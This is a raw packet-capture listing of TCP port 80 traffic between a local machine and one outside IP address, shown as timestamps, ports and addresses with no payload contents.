Nov 1, 2024 05:02:11.942965031 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.943221092 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.943295002 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.943298101 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.943353891 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.943414927 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.943428040 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.943439960 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.943483114 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.943483114 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.972719908 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.972799063 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.972811937 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.972840071 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.972840071 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.972861052 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.973020077 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.973103046 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.973249912 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.973253012 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.973262072 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.973275900 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.973288059 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.973320961 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.973320961 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.973368883 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.973583937 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.973598003 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.973609924 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.973637104 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.973659992 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.973901987 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.973915100 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.973927021 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.973963976 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.973963976 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.974255085 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.974268913 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:11.974315882 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:11.974315882 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.018634081 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.018656969 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.018668890 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.018717051 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.018785000 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.059092999 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.059160948 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.059174061 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.059200048 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.059235096 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.061075926 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.061089039 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.061129093 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.061285973 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.061297894 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.061314106 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.061343908 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.061343908 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.061563015 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.061573982 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.061584949 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.061606884 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.061691046 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.061858892 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.061870098 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.061882019 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.061904907 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.061944008 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.062593937 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.062606096 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.062616110 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.062629938 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.062640905 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.062645912 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.062653065 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.062661886 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.062665939 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.062679052 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.062700987 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.062700987 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.062743902 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.063328981 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.063493013 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.063549995 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.063621044 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.091761112 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.091788054 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.091834068 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.091857910 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.091908932 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.092016935 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.092029095 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.092039108 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.092082977 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.092082977 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.092349052 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.092406034 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.092457056 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.092514038 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.092616081 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.092626095 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.092636108 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.092647076 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.092659950 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.092705965 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.092966080 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.093048096 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.093063116 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.093108892 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.093197107 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.093209028 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.093270063 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.136333942 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.136364937 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.136379004 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.136416912 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.136452913 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.137655020 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.137725115 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.137737989 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.137751102 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.137851954 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.137862921 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.137919903 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.178092957 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.178211927 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.178237915 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.178256989 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.178287983 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.178314924 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.180391073 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.180453062 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.180491924 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.180509090 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.180547953 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.180547953 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.180759907 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.180777073 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.180792093 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.180807114 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.180818081 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.180818081 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.180834055 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.180856943 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.181247950 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.181266069 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.181303024 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.181303024 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.181494951 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.181510925 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.181525946 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.181539059 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.181554079 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.181577921 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.181826115 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.181842089 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.181859016 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.181874037 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.181886911 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.181899071 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.182200909 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.182214975 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.182228088 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.182244062 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.182255983 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.182260990 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.182276964 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.182292938 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.182297945 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.182297945 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.182342052 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.182342052 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.183002949 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.183046103 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.210772991 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.210849047 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.210864067 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.210936069 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.210962057 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.211226940 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.211335897 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.211353064 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.211406946 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.211406946 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.211587906 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.211602926 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.211622953 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.211658001 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.211680889 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.211985111 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.212006092 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.212022066 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.212059021 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.212076902 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.212343931 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.212362051 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.212419987 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.255294085 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.255348921 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.255366087 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.255501032 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.256752014 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.256860018 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.256872892 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.256937027 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.256937027 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.256942987 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.258068085 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.297292948 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.297346115 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.297363043 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.297482967 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.299454927 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.299509048 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.299535990 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.299592018 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.299604893 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.299654007 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.299818993 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.299834013 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.299873114 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.299886942 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.300035000 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.300121069 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.300174952 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.300282001 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.300297022 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.300312042 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.300359964 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.300359964 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.300614119 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.300631046 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.300646067 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.300677061 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.300693035 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.300968885 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.300986052 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.301058054 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.301194906 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.301213980 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.301246881 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.301418066 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.301434040 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.301481962 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.301656008 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.301671982 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.301688910 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.301703930 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.301728010 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.301728010 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.301759958 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.329776049 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.329854012 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.329869986 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.329889059 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.329889059 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.329907894 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.329977989 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.329994917 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.330012083 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.330018997 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.330045938 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.330132008 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.330272913 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.330332041 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.330419064 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.330434084 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.330495119 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.330540895 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.330655098 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.330677032 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.330691099 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.330737114 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.330897093 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.330909967 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.330972910 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.331043959 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.331059933 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.331114054 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.331288099 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.331310034 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.331358910 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.374423027 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.374506950 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.374509096 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.374530077 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.374562979 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.374603987 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.375782967 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.375813961 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.375833035 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.375854015 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.375864983 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.375915051 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.375969887 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.376034975 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.416265965 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.416321039 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.416337013 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.416357040 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.416383982 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.416403055 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.416481018 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.419832945 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.419872046 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.419888973 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.419909000 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.419909000 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.419929028 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.419981003 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.420041084 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.420059919 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.420186996 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.420195103 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.420207024 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.420227051 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.420229912 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.420247078 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.420305014 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.420622110 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.420644045 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.420661926 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.420680046 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.420697927 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.420697927 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.420716047 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.420941114 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.421109915 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.421128035 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.421176910 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.421176910 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.421386957 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.421406031 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.421422958 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.421442032 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:12.421451092 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.421451092 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.421475887 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.421482086 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:12.421885967 CET	80	59827	185.215.113.16	192.168.2.5
